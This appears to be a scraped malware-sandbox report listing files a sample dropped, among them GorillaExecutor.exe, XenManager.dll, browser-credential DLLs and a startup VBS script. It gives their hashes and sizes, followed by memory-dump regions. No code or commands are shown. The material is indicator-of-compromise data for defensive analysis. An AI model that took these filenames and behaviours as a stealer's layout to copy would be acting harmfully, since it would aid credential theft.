27ba359c9bc4075db0bbafa8528fa5b1a97683f6969e85330689b7c18274f8d4bc3483b640f259321af7be1fc42314b9ef982697daf55c7a6cfc8bcfa3d6432a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
02fd76b2223c6925d0ca075ff50541ab

SHA1
e762d82a2097e4f22f75c9a6455f5ed2c40be02a

SHA256
a72df647d6e208bfdd34b63988e2551b7eeece9ba4e84f45b49d6fe6e5f78916

SHA512
a16e10885c57c4c659fe4a610a205fc4ac4f5ae0737ec97ebbfb85c49b3e6fe13d6edbf5b58778089beb2d8b8f2a2b5d9efffa8d7a205c339b333e0effb8bfe4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
2000b41d222bc0186673755837930679

SHA1
5dcb3bbe5dbf9d30e8d6962b977285deb2a49aed

SHA256
1a46f3799421593142db825cc2d4147e00d0cbacfa767250fdb452b381407721

SHA512
c49f6cc6e784dc00d7178fffc4f97d045dd965bdae4795618c152f20617286d77e87f94313886b6abda2d43fef1cd3237b65ed28e716b0f4ae70680ee47cfcf1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57ee77.TMP

Filesize
1KB

MD5
be691700f04e7ca06b98c63d63f43fa6

SHA1
8aa50bfd2deefffd2ddb1b1c783b17ce14468732

SHA256
078514379840090cf6023c077c72b60ad3557db8af19e7874c5a094322730db3

SHA512
f863573ee7ed7fdfe5e71b5ba596212c0904d4df386411b3cbb86a512bbdae0ffbd256197dc6a4318e05aab84a7d2b71b5abe3caf6311ebe9215adf36c89f788

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Filesize
116KB

MD5
70d4d29da20d4de26607d2d8b31d5333

SHA1
5629aab7fb4f7bafd03590492796c90f985c634f

SHA256
a5538b52e8dedf967016e6726f768e23d95fdd2c9b6ff4bef7644fbae3e9b174

SHA512
e3138e861c7078b49d78f3d39882034ee327f76da58ef94e21c201d960d808011c45e0b23b3c9f27d1224e48850c97b4cf787537796c60682799882b49cc1b04

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
0e56bd75e66111a18b4d599332988ee0

SHA1
80a5621e1345b199668257702bd32dcc6d7dcbbc

SHA256
c7f301fcb1f4492bf0be2edf118132ea9c2e91ae6b39a8a65b9f755d747ba975

SHA512
b55675e0633a56c395b73996216569395a268226378444e9996000d1a47411b2d0ea558e2e981c93bcb01762dd01554dea3a67d3c97c00a75d963dcac017608e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
660c773e8e9901c7f8742735129c4c13

SHA1
bf283d1764727610620f997b7b47f45d9fe4755a

SHA256
5d9e3df31a7963e813c9465ff2a8517f8d33b3bf7b141bf5b14a7689487546bd

SHA512
96a3819a30622df5d6e90917da3aaca2e5de96d084274cd1b1f355673a886d70b5f0b7df99f23e9929e522dbaafcbeda7c0199a5a356e634ebb054f2a48e0dba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
7748c9f86a5353bebca62aaf821dce9b

SHA1
358953cde4c9aa0e00608e89d6451b1ba11449ea

SHA256
77e5c79b64e3c100398f3dd371a23df2d810cdc3a5a377494d93b3b0c484d8b0

SHA512
8ff0cf5c469339fbedb2b437726f6ae626f35dcddf71157fa46bd8bd65c73192123886e2745e8058c8aa7d28e4a754a42b15bb7311bc9dcdad0bf33335597483

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
91e168a333449b9c78fbbf5ab49c9f1b

SHA1
694685b229009124abdd71e360fcfc01c141a0b0

SHA256
9b6df56b1c6955f1abaa0b0dd76be378542a5cf98d600dfcada72763d734ae3f

SHA512
06ada65b1300121a51fadd03789f3800d5c22f9f163ed9b4f51ff4b4d731c4025fc13afce51c96f7fe42e23b2e736c07680d08d2379e7ce808efda05ff6c0318

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
d2879669a5bc7b19a0bfbbe682f42a3d

SHA1
c16a5ad11bbc9d5b87a1b005a3e7140d2bf6621e

SHA256
d77ed675ad9b82340016889ba6d857f70189896f38d2306322f34464af6e15bc

SHA512
de755dba41af4c1d2cb9d008d070f552fcae8afb6477a9fbd1cfed84eca049fa7fe38f00fe009f71526c9a1b459244ed1a5fecf3ac1c91c000f51fbad89144b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
885cac4229864a50aa4622a61f296764

SHA1
9ad8a534e9fa04ed098b77f0637853e5c07bab37

SHA256
ce931c01eee085d02c08c000179ff6257f6e204cd1bbbfe2e71c0f92663ad8e3

SHA512
52037a192c34281870d8979ddd2e5a675101d87665a63fec05e34cf85d06e655ed8b07d40baf7e5f33a0b250ee502614b1d63737d1dc3d92cfef3f900f12ec31

Download Submit
C:\Users\Admin\AppData\Local\Temp\All-In-One.exe

Filesize
5.1MB

MD5
a48e3197ab0f64c4684f0828f742165c

SHA1
f935c3d6f9601c795f2211e34b3778fad14442b4

SHA256
baecc747370a4c396ef5403a3a2b286465d8fe4677bf1bfd23b8164ef5c22bbb

SHA512
e0b0b73c39850a30aac89f84f721c79f863612f596d6ff3df0860a9faf743a81364656773c99708e9c0656c74b6a278b6bf7e648f7ff1b9080f9a21e10515a59

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-conio-l1-1-0_not.dll

Filesize
18KB

MD5
6ea692f862bdeb446e649e4b2893e36f

SHA1
84fceae03d28ff1907048acee7eae7e45baaf2bd

SHA256
9ca21763c528584bdb4efebe914faaf792c9d7360677c87e93bd7ba7bb4367f2

SHA512
9661c135f50000e0018b3e5c119515cfe977b2f5f88b0f5715e29df10517b196c81694d074398c99a572a971ec843b3676d6a831714ab632645ed25959d5e3e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-convert-l1-1-0.dll

Filesize
21KB

MD5
72e28c902cd947f9a3425b19ac5a64bd

SHA1
9b97f7a43d43cb0f1b87fc75fef7d9eeea11e6f7

SHA256
3cc1377d495260c380e8d225e5ee889cbb2ed22e79862d4278cfa898e58e44d1

SHA512
58ab6fedce2f8ee0970894273886cb20b10d92979b21cda97ae0c41d0676cc0cd90691c58b223bce5f338e0718d1716e6ce59a106901fe9706f85c3acf7855ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-environment-l1-1-0.dll

Filesize
18KB

MD5
ac290dad7cb4ca2d93516580452eda1c

SHA1
fa949453557d0049d723f9615e4f390010520eda

SHA256
c0d75d1887c32a1b1006b3cffc29df84a0d73c435cdcb404b6964be176a61382

SHA512
b5e2b9f5a9dd8a482169c7fc05f018ad8fe6ae27cb6540e67679272698bfca24b2ca5a377fa61897f328b3deac10237cafbd73bc965bf9055765923aba9478f8

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-filesystem-l1-1-0.dll

Filesize
19KB

MD5
aec2268601470050e62cb8066dd41a59

SHA1
363ed259905442c4e3b89901bfd8a43b96bf25e4

SHA256
7633774effe7c0add6752ffe90104d633fc8262c87871d096c2fc07c20018ed2

SHA512
0c14d160bfa3ac52c35ff2f2813b85f8212c5f3afbcfe71a60ccc2b9e61e51736f0bf37ca1f9975b28968790ea62ed5924fae4654182f67114bd20d8466c4b8f

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-heap-l1-1-0.dll

Filesize
18KB

MD5
93d3da06bf894f4fa21007bee06b5e7d

SHA1
1e47230a7ebcfaf643087a1929a385e0d554ad15

SHA256
f5cf623ba14b017af4aec6c15eee446c647ab6d2a5dee9d6975adc69994a113d

SHA512
72bd6d46a464de74a8dac4c346c52d068116910587b1c7b97978df888925216958ce77be1ae049c3dccf5bf3fffb21bc41a0ac329622bc9bbc190df63abb25c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-locale-l1-1-0.dll

Filesize
18KB

MD5
a2f2258c32e3ba9abf9e9e38ef7da8c9

SHA1
116846ca871114b7c54148ab2d968f364da6142f

SHA256
565a2eec5449eeeed68b430f2e9b92507f979174f9c9a71d0c36d58b96051c33

SHA512
e98cbc8d958e604effa614a3964b3d66b6fc646bdca9aa679ea5e4eb92ec0497b91485a40742f3471f4ff10de83122331699edc56a50f06ae86f21fad70953fe

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-math-l1-1-0.dll

Filesize
28KB

MD5
8b0ba750e7b15300482ce6c961a932f0

SHA1
71a2f5d76d23e48cef8f258eaad63e586cfc0e19

SHA256
bece7bab83a5d0ec5c35f0841cbbf413e01ac878550fbdb34816ed55185dcfed

SHA512
fb646cdcdb462a347ed843312418f037f3212b2481f3897a16c22446824149ee96eb4a4b47a903ca27b1f4d7a352605d4930df73092c380e3d4d77ce4e972c5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-multibyte-l1-1-0.dll

Filesize
25KB

MD5
35fc66bd813d0f126883e695664e7b83

SHA1
2fd63c18cc5dc4defc7ea82f421050e668f68548

SHA256
66abf3a1147751c95689f5bc6a259e55281ec3d06d3332dd0ba464effa716735

SHA512
65f8397de5c48d3df8ad79baf46c1d3a0761f727e918ae63612ea37d96adf16cc76d70d454a599f37f9ba9b4e2e38ebc845df4c74fc1e1131720fd0dcb881431

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-runtime-l1-1-0.dll

Filesize
22KB

MD5
41a348f9bedc8681fb30fa78e45edb24

SHA1
66e76c0574a549f293323dd6f863a8a5b54f3f9b

SHA256
c9bbc07a033bab6a828ecc30648b501121586f6f53346b1cd0649d7b648ea60b

SHA512
8c2cb53ccf9719de87ee65ed2e1947e266ec7e8343246def6429c6df0dc514079f5171acd1aa637276256c607f1063144494b992d4635b01e09ddea6f5eef204

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-stdio-l1-1-0.dll

Filesize
23KB

MD5
fefb98394cb9ef4368da798deab00e21

SHA1
316d86926b558c9f3f6133739c1a8477b9e60740

SHA256
b1e702b840aebe2e9244cd41512d158a43e6e9516cd2015a84eb962fa3ff0df7

SHA512
57476fe9b546e4cafb1ef4fd1cbd757385ba2d445d1785987afb46298acbe4b05266a0c4325868bc4245c2f41e7e2553585bfb5c70910e687f57dac6a8e911e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-string-l1-1-0.dll

Filesize
22KB

MD5
404604cd100a1e60dfdaf6ecf5ba14c0

SHA1
58469835ab4b916927b3cabf54aee4f380ff6748

SHA256
73cc56f20268bfb329ccd891822e2e70dd70fe21fc7101deb3fa30c34a08450c

SHA512
da024ccb50d4a2a5355b7712ba896df850cee57aa4ada33aad0bae6960bcd1e5e3cee9488371ab6e19a2073508fbb3f0b257382713a31bc0947a4bf1f7a20be4

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-time-l1-1-0.dll

Filesize
20KB

MD5
849f2c3ebf1fcba33d16153692d5810f

SHA1
1f8eda52d31512ebfdd546be60990b95c8e28bfb

SHA256
69885fd581641b4a680846f93c2dd21e5dd8e3ba37409783bc5b3160a919cb5d

SHA512
44dc4200a653363c9a1cb2bdd3da5f371f7d1fb644d1ce2ff5fe57d939b35130ac8ae27a3f07b82b3428233f07f974628027b0e6b6f70f7b2a8d259be95222f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\api-ms-win-crt-utility-l1-1-0.dll

Filesize
18KB

MD5
b52a0ca52c9c207874639b62b6082242

SHA1
6fb845d6a82102ff74bd35f42a2844d8c450413b

SHA256
a1d1d6b0cb0a8421d7c0d1297c4c389c95514493cd0a386b49dc517ac1b9a2b0

SHA512
18834d89376d703bd461edf7738eb723ad8d54cb92acc9b6f10cbb55d63db22c2a0f2f3067fe2cc6feb775db397030606608ff791a46bf048016a1333028d0a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\freebl3.dll

Filesize
324KB

MD5
04a2ba08eb17206b7426cb941f39250b

SHA1
731ac2b533724d9f540759d84b3e36910278edba

SHA256
8e5110ce03826f680f30013985be49ebd8fc672de113fc1d9a566eced149b8c4

SHA512
e6e90b4becf472b2e8f716dbb962cd7de61676fcce342c735fccdc01268b5a221139bc9be0e0c9722e9978aefaae79c10bc49c43392aa05dd12244b3147aeffc

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\mozglue.dll

Filesize
135KB

MD5
591533ca4655646981f759d95f75ae3d

SHA1
b4a02f18e505a1273f7090a9d246bc953a2cb792

SHA256
4434f4223d24fb6e2f5840dd6c1eedef2875e11abe24e4b0e9bc1507f8f6fd47

SHA512
915b124ad595ee78feab8f3c9be7e80155445e58ed4c88b89665df5fb7e0a04e973374a01f97bb67aaa733a8ce2e91a9f92605ec96251906e0fb2750a719b579

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\msvcp140.dll

Filesize
429KB

MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\nss3.dll

Filesize
1.2MB

MD5
fc57d044bfd635997415c5f655b5fffa

SHA1
1b5162443d985648ef64e4aab42089ad4c25f856

SHA256
17f8c55eba797bbc80c8c32ca1a3a7588415984386be56f4b4cdefd4176fb4c3

SHA512
f5a944230000730bc0aad10e6607e3389d9d82a0a4ab1b72a19d32e94e8572789d46fb4acd75ad48f17e2bbc27389d432086696f2ccc899850ff9177d6823efb

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\softokn3.dll

Filesize
140KB

MD5
1b304dad157edc24e397629c0b688a3e

SHA1
ae151af384675125dfbdc96147094cff7179b7da

SHA256
8f0c9ac7134773d11d402e49daa90958fe00205e83a7389f7a58da03892d20cb

SHA512
2dc625dbdf2aae4ade600cca688eb5280200e8d7c2dfc359590435afe0926b3a7446cc56a66023ee834366132a68ae68da51a5079e4f107201e2050f5c5512ad

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\ComponentsExt\vcruntime140.dll

Filesize
81KB

MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\Components\nspr4.dll

Filesize
72KB

MD5
72414dfb0b112c664d2c8d1215674e09

SHA1
50a1e61309741e92fe3931d8eb606f8ada582c0a

SHA256
69e73fea2210adc2ae0837ac98b46980a09fe91c07f181a28fda195e2b9e6b71

SHA512
41428624573b4a191b33657ed9ad760b500c5640f3d62b758869a17857edc68f90bc10d7a5e720029519c0d49b5ca0fa8579743e80b200ef331e41efde1dc8c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\Components\nss3.dll

Filesize
172KB

MD5
7ddbd64d87c94fd0b5914688093dd5c2

SHA1
d49d1f79efae8a5f58e6f713e43360117589efeb

SHA256
769703fb1ba6c95fb6c889e8a9baaea309e62d0f3ca444d01cc6b495c0f722d1

SHA512
60eaad58c3c4894f1673723eb28ddb42b681ff7aafe7a29ff8bf87a2da6595c16d1f8449096accdb89bd6cda6454eb90470e71dde7c5bd16abd0f80e115cfa2d

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\Components\plc4.dll

Filesize
8KB

MD5
c73ec58b42e66443fafc03f3a84dcef9

SHA1
5e91f467fe853da2c437f887162bccc6fd9d9dbe

SHA256
2dc0171b83c406db6ec9389b438828246b282862d2b8bdf2f5b75aec932a69f7

SHA512
6318e831d8f38525e2e49b5a1661440cd8b1f3d2afc6813bb862c21d88d213c4675a8ec2a413b14fbdca896c63b65a7da6ec9595893b352ade8979e7e86a7fcf

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\Components\plds4.dll

Filesize
6KB

MD5
ee44d5d780521816c906568a8798ed2f

SHA1
2da1b06d5de378cbfc7f2614a0f280f59f2b1224

SHA256
50b2735318233d6c87b6efccccc23a0e3216d2870c67f2f193cc1c83c7c879fc

SHA512
634a1cd2baaef29b4fe7c7583c04406bb2ea3a3c93294b31f621652844541e7c549da1a31619f657207327604c261976e15845571ee1efe5416f1b021d361da8

Download Submit
C:\Users\Admin\AppData\Local\Temp\External\Components\softokn3.dll

Filesize
155KB

MD5
e846285b19405b11c8f19c1ed0a57292

SHA1
2c20cf37394be48770cd6d396878a3ca70066fd0

SHA256
251f0094b6b6537df3d3ce7c2663726616f06cfb9b6de90efabd67de2179a477

SHA512
b622ff07ae2f77e886a93987a9a922e80032e9041ed41503f0e38abb8c344eb922d154ade29e52454d0a1ad31596c4085f4bd942e4412af9f0698183acd75db7

Download Submit
C:\Users\Admin\AppData\Local\Temp\GorillaExecutor.bat

Filesize
344KB

MD5
d44511c19f1636b4320f067c7dc785cd

SHA1
70f36452fcbbef919583905c9b1148f602b03490

SHA256
b91456781e476cc731c9d6d714db85a1f423dcd5734ba0e2fb010281798f3884

SHA512
080f77dda8436bf06f034b611947e8b2ffd81a2c40cbac551c22a379e079f3ce7dcf603c48859b907043678111f806cb885b6061a6f321e4e46630ea146a8f92

Download Submit
C:\Users\Admin\AppData\Local\Temp\License.XenArmor

Filesize
104B

MD5
774a9a7b72f7ed97905076523bdfe603

SHA1
946355308d2224694e0957f4ebf6cdba58327370

SHA256
76e56835b1ac5d7a8409b7333826a2353401cf67f3bd95c733adc6aa8d9fec81

SHA512
c5c77c6827c72901494b3a368593cb9a990451664b082761294a845c0cd9441d37e5e9ac0e82155cb4d97f29507ffc8e26d6ff74009666c3075578aa18b28675

Download Submit
C:\Users\Admin\AppData\Local\Temp\OutPut.json

Filesize
1KB

MD5
978a612ff9ddf9fb9048bfcb790c620c

SHA1
4e3dfb8f7d396e0c77f81b9197e862269cc29174

SHA256
1f8e49ad15cc618c1897c7d8bb57ffdc00247fe8ad050c377391bc298e173b3c

SHA512
f95448c2af7e7902902ffe9267c5bc0dd378ce4f9965c557034d66645af372ac59bdb8b44ddf2882cba050d65b0fc2b04aac6775024828ea20bfb393979efa6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\XenManager.dll

Filesize
2.0MB

MD5
7a5c53a889c4bf3f773f90b85af5449e

SHA1
25b2928c310b3068b629e9dca38c7f10f6adc5b6

SHA256
baa9c3a0d0524263c4f848056b3f1da3b4bb913162362cbcabe77ce76a39870c

SHA512
f5943687d7e098790581bf56ac6fec3b7e9b83d0e29301077a8bc48768c5a0e9f54f53d926f9847885f6035a2b31e456e4e45ccf1c70be27229c46e79876e2ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0e3gg05e.y3e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\settings.db

Filesize
20KB

MD5
56b941f65d270f2bf397be196fcf4406

SHA1
244f2e964da92f7ef7f809e5ce0b3191aeab084a

SHA256
00c020ba1cce022364976f164c575993cb3b811c61b5b4e05a8a0c3d1b560c0c

SHA512
52ad8c7ed497a5b8eed565b3abcbf544841f3c8c9ec3ca8f686846a2afd15ac4ac8b16abf1cb14aeca1a2fb31f3086ad17206ec4af28e77bae600dca15e8deab

Download Submit
C:\Users\Admin\AppData\Local\Windows Host Proccess

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_281.vbs

Filesize
115B

MD5
7c5ec13047f29adf55207285fc53ac94

SHA1
6abc284186ba8958825bbe2b261413c374a748d2

SHA256
821f1e6ef94b66a7d52e1e4adb75ed284319c4f9d71b235e1bfebd61baa4b5bc

SHA512
e9aa90f9491b4c9b6f14c1ed1be9fea54303944de89e19f063d12d3dd6446b1a29c0ca2acde54276b74dcb63953e43337db4791e17540ea288f9bdaf642fa776

Download Submit
C:\Users\Admin\Desktop\GorillaExecutor.exe

Filesize
349KB

MD5
1a435d2f44830d387ccc1e8d55b4ff6e

SHA1
549e6af6440fd47060dc9571713b5e6f06a39fe8

SHA256
494667889e8e3b9f58b5802b2daef04135b4c4a20ec37b6b1e6f1dfbc422bbcc

SHA512
96e0a913176ac867d1624fe26fc83086e8548087d98c8427a48fe2c2c9f00a5a9add13b1da27bdf1df09718c039ba7035459224190b010d2fc0ea2235663815f

Download Submit
C:\Users\Admin\Downloads\Guna.UI2.zip

Filesize
1.7MB

MD5
e5b562ea7ed7cfbceac9c27103d8e3b3

SHA1
1fa88a42be23a65ec887de312853b77633598986

SHA256
7be4775a74e4c5df16f711acaf2ad6c0ee3131bb2eb36f0ca758bcbb5bdfb783

SHA512
a84a5eab6c956b8dd1f208a1f89a3eeefda829bc1361ba4949aff789b9d7741f155daade5ffccbeaa4b49bd9e0a3f1def5d3ac8b8cc2bae454068d525a2ec885

Download Submit
memory/436-1069-0x00000000072F0000-0x0000000007301000-memory.dmp

Filesize
68KB

Download
memory/436-1070-0x0000000007330000-0x0000000007344000-memory.dmp

Filesize
80KB

Download
memory/436-1068-0x0000000007030000-0x00000000070D3000-memory.dmp

Filesize
652KB

Download
memory/436-1058-0x0000000071090000-0x00000000710DC000-memory.dmp

Filesize
304KB

Download
memory/916-991-0x0000000005C80000-0x0000000005E94000-memory.dmp

Filesize
2.1MB

Download
memory/916-990-0x0000000005110000-0x0000000005168000-memory.dmp

Filesize
352KB

Download
memory/916-989-0x0000000004ED0000-0x0000000004EDA000-memory.dmp

Filesize
40KB

Download
memory/916-988-0x0000000004EE0000-0x0000000004F72000-memory.dmp

Filesize
584KB

Download
memory/916-987-0x00000000005A0000-0x00000000005FE000-memory.dmp

Filesize
376KB

Download
memory/2040-1351-0x000000000C8B0000-0x000000000CDDC000-memory.dmp

Filesize
5.2MB

Download
memory/2040-976-0x0000000007C60000-0x0000000007CFC000-memory.dmp

Filesize
624KB

Download
memory/2040-975-0x0000000006170000-0x0000000006182000-memory.dmp

Filesize
72KB

Download
memory/2040-1150-0x000000000B780000-0x000000000BC54000-memory.dmp

Filesize
4.8MB

Download
memory/2040-1353-0x000000000C090000-0x000000000C1AE000-memory.dmp

Filesize
1.1MB

Download
memory/2040-1107-0x000000000B3D0000-0x000000000B3DC000-memory.dmp

Filesize
48KB

Download
memory/2040-1352-0x000000000BD00000-0x000000000C050000-memory.dmp

Filesize
3.3MB

Download
memory/2040-1350-0x000000000BC50000-0x000000000BD00000-memory.dmp

Filesize
704KB

Download
memory/3628-882-0x0000000006310000-0x0000000006376000-memory.dmp

Filesize
408KB

Download
memory/3628-879-0x0000000005BC0000-0x00000000061E8000-memory.dmp

Filesize
6.2MB

Download
memory/3628-911-0x00000000068E0000-0x00000000068FE000-memory.dmp

Filesize
120KB

Download
memory/3628-921-0x0000000006930000-0x000000000697C000-memory.dmp

Filesize
304KB

Download
memory/3628-922-0x00000000080B0000-0x000000000872A000-memory.dmp

Filesize
6.5MB

Download
memory/3628-923-0x0000000007A70000-0x0000000007A8A000-memory.dmp

Filesize
104KB

Download
memory/3628-924-0x0000000007AE0000-0x0000000007AE8000-memory.dmp

Filesize
32KB

Download
memory/3628-878-0x0000000003380000-0x00000000033B6000-memory.dmp

Filesize
216KB

Download
memory/3628-892-0x00000000063C0000-0x0000000006714000-memory.dmp

Filesize
3.3MB

Download
memory/3628-881-0x00000000062A0000-0x0000000006306000-memory.dmp

Filesize
408KB

Download
memory/3628-880-0x0000000005AC0000-0x0000000005AE2000-memory.dmp

Filesize
136KB

Download
memory/3628-925-0x0000000007BB0000-0x0000000007C3C000-memory.dmp

Filesize
560KB

Download
memory/3628-926-0x000000000ACE0000-0x000000000B284000-memory.dmp

Filesize
5.6MB

Download
memory/4604-1037-0x0000000071090000-0x00000000710DC000-memory.dmp

Filesize
304KB

Download
memory/5716-950-0x0000000007110000-0x000000000711A000-memory.dmp

Filesize
40KB

Download
memory/5716-938-0x0000000071090000-0x00000000710DC000-memory.dmp

Filesize
304KB

Download
memory/5716-951-0x0000000007340000-0x00000000073D6000-memory.dmp

Filesize
600KB

Download
memory/5716-952-0x00000000072B0000-0x00000000072C1000-memory.dmp

Filesize
68KB

Download
memory/5716-937-0x0000000006F40000-0x0000000006F72000-memory.dmp

Filesize
200KB

Download
memory/5716-949-0x0000000006F80000-0x0000000007023000-memory.dmp

Filesize
652KB

Download
memory/5716-948-0x0000000006350000-0x000000000636E000-memory.dmp

Filesize
120KB

Download
memory/5788-1082-0x0000000071090000-0x00000000710DC000-memory.dmp

Filesize
304KB

Download
memory/6008-1023-0x00000000076A0000-0x00000000076B4000-memory.dmp

Filesize
80KB

Download
memory/6008-1010-0x0000000071090000-0x00000000710DC000-memory.dmp

Filesize
304KB

Download
memory/6008-1020-0x0000000007310000-0x00000000073B3000-memory.dmp

Filesize
652KB

Download
memory/6008-1021-0x0000000007660000-0x0000000007671000-memory.dmp

Filesize
68KB

Download
memory/6008-1022-0x0000000007690000-0x000000000769E000-memory.dmp

Filesize
56KB

Download
memory/6008-1024-0x00000000076E0000-0x00000000076FA000-memory.dmp

Filesize
104KB

Download
memory/6008-1025-0x00000000076D0000-0x00000000076D8000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads